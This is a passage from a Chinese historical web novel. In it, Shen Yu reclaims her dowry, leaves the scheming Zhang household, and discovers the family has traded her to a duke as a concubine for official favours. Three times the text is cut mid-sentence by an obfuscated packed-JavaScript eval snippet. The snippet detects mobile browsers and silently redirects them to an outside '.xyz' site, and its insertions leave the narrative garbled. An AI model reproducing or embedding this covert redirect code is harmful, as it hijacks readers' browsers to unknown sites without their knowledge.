“那沈氏今后就是国公府的人了，倘若她将来得了宠，在镇国公枕边吹耳旁风，要他追查这些嫁妆的下落……” “爹也未免太高看那沈氏了，”章若荃不屑道，“她不过是与镇国公已故的心上人有几分相似而已，便是将来再受宠，也不过是个妾室。镇国公难道还会为了一个贱妾大动干戈?” 这话说服了章二老爷，他仔细思虑过后最终答允下来，末了不忘嘱咐一句：“先不要跟老太爷说。他如今一门心思都扑在跟镇国公结交上，生怕出半点差错。若是叫他知道了，只怕不会答应。” 章若荃颔首：“爹放心，我心里有数。其实照我的意思……最好跟谁都别说，就让所有人都以为沈氏是被流寇劫掠了。这样东西便只落在咱们手里，不必分与谁。即便将来镇国公真的只愿帮助大房，咱们也不亏不是?” 二老爷闻言与他对视一眼，两人相视而笑，心照不宣。 ………… 翌日，章家各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062973|163012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房都开始盘账，各个田庄铺子的掌柜管事都被叫回来了。章家一应仆从这才知晓，二少爷与二少奶奶竟要和离了。 “二少爷走前还跟二少奶奶难舍难分的，怎会与她和离?我看分明是因为二少奶奶一直没生下孩子，老太爷他们不满意，这才趁着二少爷去书院读书不在府上，将二少奶奶给休了!” 花园中里几个下人聚在一起，有人低声说道。 “怎么可能?”一旁立刻有人反驳，“你没见府里上下现在都在盘账，要把二少奶奶的嫁妆归还给她吗?若真是休妻，老太爷怎会同意她把嫁妆带走?” 虽说律法规定嫁妆是女子私产，但实际真到了夫家，能将嫁妆牢牢攥在自己手里的人少之又少，被休弃后能将嫁妆带走的更是寥寥无几。因是家事，只要将族规宗法摆出来，官府便鲜少理会了。 有人轻叹一声，十分不解：“二少奶奶进门三年，待长辈恭敬孝顺，待妯娌亲善随和，便是对咱们这些下人也一向仁厚大方。不过是一时没能生下孩子而已，又不是生不出，这就要休妻……是不是太过了?” “嘘!”有人赶忙做了个噤声的手势，四下看看才压着嗓子低声道：“老太爷做的主，族中几位老爷也都同意了，你可莫要说这种话了!叫人听去了那就是对主子不满，小心把你发卖了!” 先前说话那人正欲开口，忽听得远处一阵脚步声传来，忙缩着脖子将到嘴边的话咽了回去，与众人一起作鸟兽散了。 ………… 在确定沈钰不肯让步之后，章老太爷催着各房将她的嫁妆还了回来，只盼着能早点将人送走。 在他的催促下，各房不情不愿地盘了账。动作倒还算快，两日就清点清楚了，只是在与沈钰交接时又出了岔子。 沈钰看着账册上那些数目，气笑了：“我那一整套的红珊瑚头面首饰，少说千八百两。二婶借走后就没再还回来，现在说是丢了，以那首饰原本就有瑕疵为由只折算了二百两。” “还有这些田产铺子。我嫁妆单子上共有良田八百三十二亩，铺面十三间，宅院三处，这些年有近半数都是你们在打理。如今你们将这些全都折算了银两，还是按照我进门时的价钱折算的。” “那时一亩良田不到三两，如今要八到十两才能买的下来，铺子的价格也翻了三倍不止。你们……可真会算账啊!” 她说着把手里的账册往旁边一丢，很是不满意的样子。 黄氏险些被账册砸着，忙后退一步避开，皱眉道：“不是你说那些坏了丢了的只要折算银两补给你就行吗?那套珊瑚头面是你用过的旧东西，本就有些磕碰痕迹，便是拿去当铺里也不见得能值二百两，你还指望我原价赔给你不成?” “就是，”旁边有人接话道，“你进门时那些田产铺子就只值这个价，怎么几年过去就要我们按照现在的市价补给你了?合着你带着这些嫁妆过来就是为了从我章家挣差价的?” “呸!”无需沈钰开口，秋婵已是啐了回去，“那套首饰明明前几日四娘子还戴着呢，今儿个就说丢了。那些田产铺子分明也都还在，为何不还给我家小姐，却要折算了银两?还不是因为你们知道这些如今都是会下蛋的金鸡，不肯吐出来?” “当初我家小姐提议要买的时候你们各个都不肯出银子，生怕亏了。小姐自己出钱买了，你们又巴巴地来分。现下另买的那些都没叫你们还，不过是要拿回嫁妆里的这些而已，你们竟还耍这个心眼子?真是不要脸!” 她说着上前一步，瞪着厅中一众人厉声道：“告诉你们，今日要么将嫁妆单子上的东西如数奉还，要么按照现在的市价补足银钱。否则我便将你们章家做的好事说出去，看看到时候是谁没脸!” 5. 离府 秋蝉一小小婢女，竟敢对满堂老爷夫人们大呼小叫。众人惊怒愤然，但碍于她前两日才打了黄氏且没有受到任何责罚，谁也不敢靠近，还纷纷下意识后退躲避。 这边的动静很快就被老太爷知道了，他拄着拐杖怒骂：“沈氏贱妇，仗着如今拿捏了我章家脉门，竟如此张狂!” 一旁的心腹管事亦是愤愤，帮腔道：“就是，老太爷允她将嫁妆带走已是天大的恩德，她竟还如此不识好歹!左右现下已经撕破脸，不若晾她几天，看她能如何!” “你懂个屁!” 老太爷没好气道：“去告诉老二他们几个，速速按沈氏说的办。要么将东西还回去，要么按照现在的价钱折算了银两给她补齐!” 说着又将拐杖在地上用力杵了几下，喉中因愤怒发出一阵拉风相似的声音：“快将这贱妇给我送走!快!” 管事应诺不敢多言，忙去传话了。 如此这般又折腾了一日，沈钰最终拿回了足数的嫁妆，于翌日一早启程离开了章家。 临上车前她听到一阵杂乱响声传来，回头看去见是朱氏拖着病体跑了过来。 朱氏久病缠身，形容憔悴枯槁，整个人瘦得只剩一把骨头。若非沈钰这些年悉心照料，一直用名贵药材给她吊着命，怕是早已不在人世了。 章家上下将镇国公之事对她瞒得密不透风，只说是沈钰染了风寒，怕将病气过给她，故而这些日子才没去看她。 她信以为真，还每日向下人询问沈钰的状况，比对自己的病情还上心。 下人说是快了，二少奶奶的病这两日就要大好了，却原来……不是这两日就要好了，是这两日她就要走了。 若非老夫人仁慈，念着她与沈钰感情深厚，在沈钰离府前将一切告知于她，她怕是就只能做个糊涂鬼，不知多久才能知道真相。 “我不答应，我不答应!” 她在章茹茵的搀扶下跌跌撞撞向沈钰奔来，拉着她的手边哭边摇头：“你是我的儿媳，是我亲自迎进门的，怎能……怎能……” 怎能将这样好的姑娘送去给人做妾啊，这不是要毁了她一生吗? 她哽咽着说不出话来，泣不成声地看着沈钰，又是伤心难过又是愧疚自责。 若不是她身子太差担不起当家主母的责任，怎会让事情至如此境地?若非她软弱无能，章家怎敢背着她行如此违背伦常之事! “你再等等，”她紧紧攥着沈钰的手道，“我写信告诉茂芝茂荣，让他们赶回来。” “你是茂芝媳妇，他向来爱重你，不会与你和离的，更不会……更不会把你往火坑里推。” “还有茂荣，他如今是知府了，在老太爷面前说得上话。我让他……” 说到一半，朱氏冷不丁想起章茂荣这知府之位就是用沈钰换来的。后面的话她登时就说不口了，只觉羞愧难当。 老夫人去找朱氏时是关起门来说的话，章茹茵并不知晓其中内情，还在旁点头接话：“没错，二哥绝不会答应与二嫂和离的。就算他说话不好使，大哥的话老太爷定然是愿意听的。二嫂你别怕，再等等，等大哥二哥回来了你就不必走了。” 沈钰笑着看了她一眼，伸手将她耳边一缕碎发抿到耳后，轻声道：“五娘你去旁边等等，我跟母亲单独说几句话。” 章茹茵颔首，乖巧退到了一旁。 待她退开后，沈钰才拉着朱氏的手道：“母亲，我是深思熟虑后才决定离开的，并非一时冲动，便是大哥和……茂芝在这里，我也是要走的。” 朱氏茫然不解：“为何?为何啊?” 沈钰用帕子拭去她脸上的泪，声音轻柔又不容置疑：“祖母有句话说的不错。我与章家相处融洽时，他们尚且不顾我的死活。倘若我不顺着他们的意和离，与他们反目成仇，他们难道还会善待我不成?” “我还年轻，不想因为赌一时之气就将今后几十年空耗在章家。所以……我是为了自己才决意离开的，不管此刻谁在这里，我都不会改变这个决定。” 这意思是即使朱氏阻拦，她今日也铁了心要走了。 朱氏对这个儿媳很是了解，知道她面上性情随和，其实骨子里有股执拗，一旦做出决定的事就不会轻易改变。 她悲从中来，不由痛哭失声，扑倒在沈钰肩头，连声说“都是我不好，是我对不住你，是我们章家对不住你”。 沈钰眼眶微红，微扬起头将眼中的泪水逼了回去，抚着她的肩膀温声安抚：“母亲别难过，我虽离了章家，但不会忘记您，也不会忘记……茂荣的。” 她说着将她扶起来，伸手把一旁的章茹茵也唤了过来，低声交代：“五娘七月就要成亲，一应嫁妆我早已备好，本不担心出什么差错。但如今我走了，将我自己的嫁妆也带走了。其余各房舍不得能挣钱的恒产，大多折算了现银给我。可他们没了现银，那些田庄铺子很可能周转不过来，保不齐到时候会动什么歪心思。” “母亲，五娘，你们记得，不管他们说什么，绝不能松口将这些嫁妆拿出来贴补他们，否则将来想要追回，便是千难万难了。” 她能保全自己的嫁妆是因为她本就心肠冷硬不顾章家死活，但朱氏和章茹茵不同。他们一个已经嫁进章家近三十载，养育了三个儿女。一个本就姓章，身上留着章家的血脉。他们对章家狠不下心，自然也就无法像她一般哪怕撕破脸皮也要把属于自己的东西拿回来。 这种情况唯有一开始就坚持不退让，否则退一步就是退一万步的开始。 朱氏见她临走还惦记着自己女儿的事，心中大恸，哭得愈发伤心了。 章茹茵也哭红了眼，拉着她道：“二嫂，你真的要走吗?” 沈钰缓缓点了点头：“这里已经不是我的家了，或许……从来不曾是过吧。我留下来已没有任何意义。” 她说着最后扫了眼这阔朗却压抑的庭院，道：“照顾好母亲，也照顾好自己。” 说罢转身便上了车，再也没有回头。 马车缓缓向府外驶去，带着几辆装满了财物的车架一起离开了章家。 朱氏看着一行车马渐渐消失，终是忍不住悲哭一声，呕出一口鲜血晕了过去。 “娘，娘你怎么了?” “大夫人，大夫人!” 众人一阵兵荒马乱，人群中的章二老爷却皱眉往旁边避了避，一脸嫌弃地道：“真是晦气!快去请大夫，万不可让她这时候死了!” 章家正是前程一片大好，在新朝站稳脚跟的关键时刻，章茂芝可不能此时丁忧。 章大老爷亦是担心妻子此时过世会影响儿子前程，正手忙脚乱地要将朱氏扶起来，忽听得二老爷这话，心中一阵气恼。 有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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章老太爷轻嗤一声：“若非她答应去镇国公府，我怎会同意她把嫁妆带走?她最好是有些自知之明，别给我添乱。我虽没在她身边安插人手，但一直派人暗中跟着。她若真敢反悔，路上转道去了别处，就别怪我不客气了。届时便是绑我也要将她绑到望乡亭去!” 他没在明面上安排人是为了撇清嫌疑，免得被人瞧出他们章家与沈氏和离是为了把她送给镇国公。这样即便将来有人提起，也只会觉得是沈氏自行投靠了国公府。但沈氏若不识相，他就只能使些非常手段了。 二老爷闻言颔首：“老太爷有安排就好。” 说着又将诸如朱氏晕倒等事交代一番，见老太爷没什么吩咐便告退了。 这厢确定了老太爷没有派人贴身护送沈氏，回去后他便抓紧跟章若荃商量了劫掠沈氏嫁妆一事，当日章若荃便找了个借口出城了。 而章家隔壁院中，数日前便已离府去往书院的章茂芝正颓然地坐在门边，面色憔悴，下巴上满是胡茬，一看便是几日没有好好打理过了。 他想在沈钰离开时见她最后一面，因此差人把这座空置的宅院暂且租了下来。 方才沈钰离开时，他就在门缝中看着。看着她出府，看着她走远…… 马车经过这处宅院前时，车帘曾短暂被风吹起一瞬，他看到了那张与他朝夕相伴三年的脸，看到了他曾经珍之爱之的妻子。 她依然那么美，容颜似盛开的牡丹般娇艳，便是坐在那里不动也自成一景，宛若画中仙。 而如今，这画中仙飘然远去，再不属于他了…… 章茂芝掩面啜泣，一时不知自己所作所为是对是错，究竟值不值得。 可这一步已然踏出去，再没有回头的余地了。 6. 如愿 沈钰一行车马缓缓驶出沛城，她掀开车帘往外看了看，见前方一马平川，道路两旁的田地中有农人在辛勤劳作，耕牛背上驮着的小童头上扎着红绳，睡得正熟。 她看着这春意盎然生机勃勃的景象，脸上挂着一抹轻松惬意的笑，丝毫没有被迫和离的伤痛与气恼，反而有几分蠢蠢欲动的期盼之色。 秋婵坐在旁边，倒了杯茶笑眯眯递过去：“恭喜小姐得偿所愿，既拿回了嫁妆又离开了章家那个腌臜之地，还能回到京城大展宏图。” 沈钰笑着瞥了她一眼，接过茶杯后在她脑门轻轻戳了一下，嗔道：“就你嘴甜。” ………… 一个月前，章茂芝与友人相约出游。沈钰前脚才将他送出门，后脚就听到院中丫鬟来报，说是老太爷那边拨了个下人过来。 青梧院这边的下人是足数的，从她进门到现在只有更换没有增减过。平白无故地忽然塞个人过来，着实奇怪。 沈钰皱了皱眉，问：“来的是谁?” 下人支支吾吾回道：“是……刘妈妈。” 刘妈妈本是老夫人刘氏的陪嫁丫鬟，当年在刘家颇为得脸，刘氏出嫁时被当时的刘家主母赐了家姓，随老夫人一道来了章家。 此人十分善于钻营，来到刘家没几年便舍弃老夫人改投了当家作主的老太爷，不说是老太爷的心腹也绝对是他手边的得力之人。 派了这么个人来沈钰身边，不像是来伺候她的，像是来让她伺候的。 沈钰不欲将这么个人留在身边，但这是老太爷派来的，她也不好直接拒绝，便将人唤了进来。 刘妈妈进来时手里提着个食盒，她进门行了一礼便将食盒放到一旁，从中端出一碗汤药来，抬着下巴尖声尖气道：“二少奶奶，你进门也有好几年了，肚子却一直没动静。二郎君这都二十出头了，旁人这个岁数孩子都满地跑了，他膝下却一儿半女也无。偏你又心窄善妒，不愿二郎君纳妾。” “老太爷说这么下去不是个法子，专门寻了郎中开了一副调理身子的药，让你能早日有孕，为章家开枝散叶。” 说着将那碗汤药往前一递，挑着眉似笑非笑地道：“二少奶奶快喝了吧。” 沈钰的确一直没有子嗣，但一个下人当众这么说，那就是半点脸面都不给她留了。 刘妈妈是老太爷派来的，她敢如此张狂，必然也是老太爷授意。也就是说不给沈钰面子的并不仅仅是眼前这个婆子，还有章家老太爷。 可沈钰跟老太爷的关系虽不似二房那么亲近，但也一直和和气气相安无事。今日他这是抽了什么风，忽然派人到青梧院来打她的脸。 且不说长房一脉并非他亲生，便是他真的着急抱孙子，大可私底下让人送了汤药来，哪里犯得着这么气势汹汹的。 沈钰心下莫名，闻着那汤药散发出的气味觉得很是熟悉。一旁的秋婵亦是如此，趁着刘妈妈没注意一个箭步冲过去，劈手将那药碗夺了过来，放在鼻端闻了闻，心下不由一震。 她抬头看了沈钰一眼，用口型对她说了三个字：避子汤。 沈钰蹙眉，心中更是疑窦丛生。 事出反常必有妖，她不知老太爷葫芦里卖的什么药，为免打草惊蛇，便微微摇头示意秋婵不要拆穿。 秋婵擅毒，会武，且粗通医理，但她在章家一直表现的像个普普通通的小丫鬟一般，从未展露过这些本事，所以章家人并不知晓。 老太爷以为用“调理身子”的名义逼着沈钰把药喝了她也毫不知情，不想此举恰恰撞在了铁板上，甫一照面就被主仆二人察觉了。 秋婵明白了沈钰的意思，转身对着刘妈妈张口便骂：“什么调理身子的汤药这么难闻?你这老货莫不是打着老太爷的名号来毒害我们少奶奶吧?” 刘妈妈见汤药被她抢了过去，嗨呀一声生怕她将药碗打碎了，又见她皱眉去闻那汤药味道，面色很是凝重的样子，还以为她察觉出了什么。正着急又心虚时，听得她说这话，霎时又有了底气。 “你个没见识的婢子懂什么?这是老太爷请最善妇科的郎中开的药，不知多少人都是喝过这方子后才有了身孕。” “老太爷这可是一片好心，二少奶奶可莫要辜负了。” 她着重强调了辜负二字，盯着沈钰势要亲眼看着她把这碗药喝了才行的架势。 沈钰黛眉轻蹙，做出一副犹豫的样子，片刻后才对秋婵抬了抬手。 秋婵不情不愿地将药碗递了过去，沈钰接过看了那晃荡的药汁一眼，没说什么，仰头一口气喝了个干净。 待将这汤药喝完，她将药碗递了回去，用帕子擦了擦唇角，这才对一脸得意的刘妈妈道：“既是老太爷派你来的，那便劳烦你代我给他老人家传句话。” “当初我嫁到章家的条件之一便是我的夫君四十无子方可纳妾。这是两家早就说好了的，婚书上也写得明明白白。别说茂芝如今才二十出头，他就是三十七八没有子嗣，我不准他纳妾也是合乎情理的。” “老太爷虽一辈子都没考取什么功名，但也是个读书人，应当知道做人该言而有信。” 章老太爷当众指责她无子善妒，她便当众讽刺他读了一辈子书，连个秀才都没考到，全凭着年纪大活得久才做到了章家老太爷的位置。 刘妈妈哪里听不出她言语中的讽刺?有心想要反驳，奈何自己大字不识得几个，讲道理根本讲不过二少奶奶这般从小读书的人。 她虽敢仗着老太爷的势狐假虎威，却不敢用市井坊间的那些脏话当面骂她，只能错了错后槽牙，微微屈膝敷衍地施了一礼后转身离开了。 待她走后，沈钰遣退房中其他人，只留了秋婵在身边，这才道：“你确定那是避子汤?” 秋婵点头：“跟奴婢给您配的那避子丸一模一样，只不过避子丸中加了些蜂蜜，这汤药里没有罢了。” 沈钰面色沉凝地走到罗汉床边缓缓坐下，很是不解：“我吃那避子丸是因为不想早早就生下孩子和章家绑到一起，章家又是为什么?” 当初她嫁来章家是匆忙之下不得已的决定。因为对章家并不是很了解，这些年便一直偷偷服用避子丸，免得有朝一日想要从章家脱身时却被孩子绑住进退 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柳明远是两榜进士，曾任国子监祭酒，后因对朝廷不满而辞官回乡，在青州做了个教书先生。这是章家以为的。 实际上他对朝廷不满是真的，辞官也是真的，但回到青州却是因为沈钰。 三年前沈家幕僚断定京城半年内就可能被乱军攻破，至多一年必定城破。 当时离京城最近的几支军队实在说不上军纪严明，其中势力颇大的顺天军更是匪气横行，扯着顺应天意以杀止杀的旗号大肆屠戮平民百姓，所到之处无不横尸遍野枯骨如林。 除非离得远的几支正规军能及时赶来，不然京城短时间内恐难恢复生息，必将乱上一阵。 众人商议一番后决定让沈钰离京避祸，但当时还是大周天子的灵帝为防城中世家大族携家财投奔敌军，对他们看管甚严，轻易不许出城。 灵帝虽然已经失去了半壁江山，但手中到底还握着京城兵马。这些兵马不见得能抵御敌军，但要斩杀他们这些士族还是轻而易举的。 不得已，沈钰只得以婚嫁之名离京。 众幕僚当时商议了很久，在舆图上选来选去，认为最适合沈钰停留的地方就是青州，其中又以沛城最佳。 青州当时被晋阳王，也就是现今天子率领的赤焰军占领。赤焰军虽也打仗，但军法森严，令行禁止，鲜少骚扰百姓。且他们占领的地势要冲基本都能保留下来，很少会再被人夺去。即便是运气不好，最终青州从他们手里丢了，沛城这里逃走也很方便。 此地临水，大周朝廷因为皇室挥霍无度，各地水军早已撤的撤散的散，形同虚设。民间乱军穷的兵器都是抢来的，就更不可能组织起有力的水军了。 而沈家不缺钱，买几艘大船停在船坞中，危急时刻开船逃走，岸上的乱军除非背生双翼，不然绝无可能追上。 地方定了，剩下的就是挑合适的人家了。 沛城不大，叫得上名号的世家大族实在不多，有未婚适龄儿郎的更少，仓促之下最终定了章家。 7. 画像 章家虽然门第不高，家境也不优渥，但胜在地理位置好，离停船的船坞很近，逃跑非常方便。 而且当时章家的生意正好出了大问题，急需一笔银钱。沈钰带着丰厚的嫁妆过去。既能给他们救急，又能让自己更有话语权。 这般思量下来，两家一拍即合各取所需，婚事便定下了。 沈钰是以婚嫁的名义离京，为免引起灵帝怀疑，她只带走了少数家仆，大部分沈家旧部都留在了京城。可是青州这边需要有个管事的代替她在外行走，必得是靠得住的可信之人才行。 正好柳明远是青州人士，沈钰与他商量一番，他二话不说就应下了。 那时沈钰还想着要找个什么合适的理由让柳先生能随意出入章府，不想正打着瞌睡就有人送了枕头。 章老太爷想给自己的亲孙请个好先生，但以章家的地位，以他的脸面，便是放在平时也很难请到个真正有本事的西席，更别说这种战乱的时候了。 他偶然听闻曾任国子监祭酒的翰林院学士柳明远辞官回了青州，就在沛城，不由便动了心思。 沈钰久居京城，柳明远又是京官，保不齐两家有什么交情。若是让沈钰帮忙问问柳明远愿不愿来他章家做西席，岂不正好? 沈钰听了险些笑出声，当即光明正大地将柳先生接了过来。 如此一来，两人联络方便了许多。沈钰时常以关心章家子弟功课为由将柳先生叫来说话，实际都是在商量旁的事情。 今日章老太爷的举动实在反常，她便又将柳先生叫了过来。 ………… “避子汤?” “是，奴婢绝对没有闻错。这药丸我搓了三年了，便是不必看药渣我也知道。章宏光定然是怕直接把药材送来会被瞧出端倪，这才让那刘婆子端了煎好的药过来。” 秋婵笃定道。 柳明远很是费解：“小姐这几年与章家一直相安无事，从未有什么仇怨，还给他家带来了大量财帛，按理说他们应该更盼着你早日生下孩子才对啊。怎的却反其道而行之?” “这也是我觉得奇怪的地方，所以才请柳先生过来相商。” 沈钰道。 “请您帮我查一查，章家近来都与什么人有过来往，是否从中得利?就从……章茂荣的知府之位，还有章茂芝去岳鸣书院读书的名额查起。” 柳明远闻言一惊：“小姐怀疑这两桩事有异?” 沈钰颔首：“我思来想去，如果不是仇怨，那便是有人对章家许以重利，重到超过了我所能给他们带来的。” “章老太爷此人贪婪又胆小，说好听点是小心谨慎，实际就是既想拿好处又不愿承担风险，生怕已经到手的东西转眼又没了。” “他既然不想让我怀孕生子，便是准备把我扫地出门，不想让我当这个二少奶奶了。但以他的性格，若只是听人画饼却没有拿到实际的好处，是不可能下定决心舍弃我这个财神的。” “能让他宁可舍弃诸多家财也要把我赶出门，必是有天大的好处，而章家近来最大的两件喜事……就是这两桩了。” 柳明远听到这不由倒吸一口凉气，面色十分凝重：“若真是如此，只怕是有些麻烦了。” “将二郎君安排到岳明书院还好说，我也能做到。但太仓知府这个位置……” “从七品知县到四品知府，算上从品，大郎君这是连跳六级，且调令下来很快便走马上任了，没有遇到任何阻碍。” “章老太爷前些日子将自己的私产尽数变卖，我还以为真是他的什么朋友升了官，他狠心砸钱通过那人打通了层层关节，这才给大郎君谋得了这个职位。” “虽说跳跃之大令我咋舌，但眼下朝廷官职大量空缺，这种操作也不是不可能。毕竟大郎君当初在盐亭县做知县时是有实绩的，履历相当不错，推他上位比推举旁人要容易得多。” “可若并非如此，而是有什么人直接将他提拔了上去……” 柳明山摇摇头，越想越觉得荒谬：“一出手便让人连跳六级，要么是皇帝亲自下旨，要么是官至宰辅，可眼下朝中压根没有宰辅啊。” 章家这等小门小户，总不可能惊动皇帝吧? 想不通，实在想不通。 “会不会是什么人与沈家有仇，知道小姐嫁到了这里，便故意让章家刁难她?” 秋婵在旁问道。 “不可能，”柳明远当即否定，“且不说秦……沈家多年与人为善，广交好友，颇有贤名，便是真有什么仇人，那仇家都厉害至此了，还用得着收买章家通过他们刁难小姐?直接亲自出手不就好了，何必给个知府之位。” 前朝卖官鬻爵成风，最严重的时候一个知府能炒到三万两银子。 章家少奶奶的位置又不是什么值钱抢手的东西，犯得着用三万两的官位来换?这钱若是直接给小姐，她自己就走了，绝不会留恋。 沈钰单手支颐，喃喃道：“若是仇家，直接让老太爷毒死我不是更好?像今日这般欲盖弥彰地送碗避子汤来，倒像是既要将我赶走，又不敢将我如何。” 柳明远点头，觉得她说得很有道理。 “总之，先生去帮我查一查吧。我总要知道章家准备做什么，才能妥当应对。” “好，我这就去安排。” 柳明远应了一声，起身行了一礼离开了。 ………… 沈钰以为这件事应当十分隐秘，估摸着不太好查。没想到不过两日功夫，柳明远就查了个明明白白。 “混账!太混账了!” 他额头上青筋暴起，一进门便拍着桌案怒声骂道，全无平日里斯文随和的模样。 今日沈钰是在自己名下的一间茶楼里见他，倒是不担心高声说话被人听到。 她将一杯茶推了过去，温声安抚：“先生莫急，坐下慢慢说。” 柳明远气得面色铁青，将一杯茶三两口灌了下去，喘了口气道：“他们章家……他们章 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062976|163012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家忒不是人了!” “我让人去查大郎君是被何人调到太仓的，原以为要颇费些周折才能查清，谁想对方根本就没遮掩，一下就查到了，竟是镇国公卫渊做的。” “卫渊乃营州卫氏子弟，十五岁便去了军营，后辗转结识晋阳王，入了赤焰军，成为其麾下第一大将。晋阳王登基为帝后封其为镇国公，将京城一应防务也都交给了他，可见对其信任。” “此人如今已二十有七，却一直未婚。据说是因其早年有一心上人在战乱中过世了，他对那女子念念不忘，始终不愿迎娶旁人，这才耽搁至今。” “大概三个月前，章老太爷身边的管事在外办事时偶遇一队人马，其中一人不慎掉落了一幅画像，画中人……与您十分相似……” 那管事心中惊疑，下意识驻足打量片刻，听得为首之人斥责那保管画像的随从，说他们全靠着这画像找人，万不可损毁了，不然回去没法交差，小心国公爷责罚。 管事还以为他们要找的就是沈钰，忍不住走过去询问了几句，方知那画像上画的原来不是自家二少奶奶，而是镇国公已故的心上人。 那些人说之前连年征战，镇国公无心婚配。如今四海安宁，他年纪不小了，府里也该有个主事的人，便着意娶妻。 但满朝文武的女儿他都瞧不上，只想找个与亡故的旧爱容貌相似的女子陪在身边，以做慰藉。这些人便是奉他之命，拿着那女子的画像天南海北四处寻人，力求找个最像的。 管事闻言十分心惊，他便认识一个与画中人容貌相似，甚至称得上一模一样的人，便是二少奶奶沈氏。 可这话他自然不敢与那一行人说，不然他们若随他一道去了沛城，岂不麻烦? 管事匆匆走了，但心里到底藏了这么件事，回去后便没忍住跟章老太爷提了。 “章宏光……章宏光这畜生竟就此动了歹念，主动去找了那些人，说家中有一女子与那画中人生得十分相似。” “那些人拿着画像来了沛城，还进了章府，远远地将您与画像比对了一番，当下便想把您带走。” “但您是章家的二奶奶，衙门户籍上登记在册的章家媳妇，若是就这么不明不白地消失了，章家不好交代。” “何况章宏光还没拿到好处，若是把您送出去却什么都没得到，不仅竹篮打水一场空，还要倒赔进许多家财。” 他故作为难地与那些人商量，国公府的人也怕事情闹大影响了镇国公的名声，便先将此事按下，遣人回京去向镇国公请示了。 “后来……后来的事想必您也能猜到了。镇国公将章茂荣调去了太仓任知府，将章茂芝安排到岳鸣书院读书，并许诺等您抵京之后，会再给章家一些好处，端看章家想要什么。只要不太过分，他都能答应。” “但他还说……说您已为人妇，不堪做国公府正妻，只能将您纳做妾室。” “章宏光那老贼只管章家的利益，哪管您的死活，当即便应下了。” 8. 决断 沈钰沉默地听着，心中几番起伏。 她知道章家不是什么名门清流，也知道章老太爷此人唯利是图市侩奸猾，只是没想到他的底线竟比她想象的还低，为了博取前程竟能将家中明媒正娶的媳妇送去与人做妾。这与典妻有何区别?当真是世风日下，人心不古。 “章茂芝呢?”她出声问道，“他知道此事吗?” 柳明远先前只提章老太爷，刻意回避了章茂芝，就是怕说出来让她伤心。但此刻她主动问起，他实在做不到为那禽兽隐瞒，握拳咬牙从唇缝里挤出一句：“自始至终他都知晓，并且亲口答应了。” 章茂芝起初听闻要将沈钰送人，震惊又恼怒，当场跟章老太爷吵了起来。 他是个男人，怎能忍受这种事?这非但是羞辱了他的妻子，更是羞辱他自己! 但当他得知对方是镇国公，且已经一纸调令将他兄长直接从一个七品知县提拔为四品知府，他便动摇了。 在巨大的利益面前，在对仕途的渴望之下，他最终放下了读书人的羞耻之心，也放弃了身为男人的尊严。 沈钰虽然已经隐隐有所猜测，但听到确切的答案还是忍不住扯了扯嘴角，露出个自嘲地笑：“我果然还是高看他了。” 她曾以为章茂芝就算不如他的兄长章茂荣，但也没什么太大的缺点，在章家一众子弟中称得上优秀了。但在关键时刻，他还是露出了本性，在自己的仕途与妻子的将来之间选择了前者。 沈钰眼角有些酸胀，心中情绪翻涌激荡，并不是因为章茂芝舍弃了她而感到伤心悲愤，而是对自己的心瞎眼盲感到气恼羞耻。 但她想想又觉得算了，人活一辈子，谁还没个眼瞎的时候呢?何况当初本就是情急之下仓促做的决定，有所失误也很正常。 柳明远见她红了眼眶，很是自责：“都怪我，是我掉以轻心，没有注意到章家诸多疑点。” 先前章老太爷将自己的私产全部变卖了，他以为他是砸钱给章茂荣跑官，便没有细究这笔钱的去向。 但章茂荣是大房之子，又不是老太爷亲生的。即便家中只有章茂荣确有实绩可配高位，以章老太爷的性子应该也会让大房自己出这笔钱，怎会忽然如此大方? 这几日他细查一番，果然章老太爷那笔钱根本就没拿去跑官，而是派人去京城购置产业了。 章家祖上也是在京城为官的，只是后来没落了，不得已退回祖籍青州。 章老太爷一心想要重振章家当年声势，这次得以搭上镇国公府，觉得进京指日可待，便想趁着京城也才安稳不久，应该还有些空闲的宅院田地，让人提前去置办些产业。 沈钰这几年一直帮着黄氏打理章家中馈，他怕动用公中的银钱会被发现，让沈钰提前知晓了他们与镇国公府这场下作的交易，这才忍痛动用了自己的私产。 另一个疑点便是岳鸣书院了。 这书院虽好，但到底学生众多，书院的先生不可能对每个人都照顾周到，学多学少学好学差全看先生喜好及个人能力。 以柳明远的学识和履历，在岳鸣书院做个山长绰绰有余。有他在章家专门教导，章茂芝实在没必要去书院读书。 只是柳明远本就不耐烦教导章家子弟，觉得他们全家上下没几个是认真读书的，大多都是些汲汲营营之辈。 而章茂荣已经入仕为官，章茂芝的功课十分不错，无论是由他教导还是去书院读书都没什么影响。倘若章茂芝去了书院，他就有更多时间为沈钰做事了。 柳明远因此对此乐见其成，听信了他想去书院跟同窗们一起读书探讨功课的说法，没有多想。 现在查明一切，方知自己实在是粗心大意。 章家此举分明是知晓一旦沈钰离开，他这个做先生的八成也会走，届时便没人给章茂芝指点功课了。为了不影响章茂芝科举，他们这才专程让国公府那边给他安排了到岳鸣书院读书的名额。 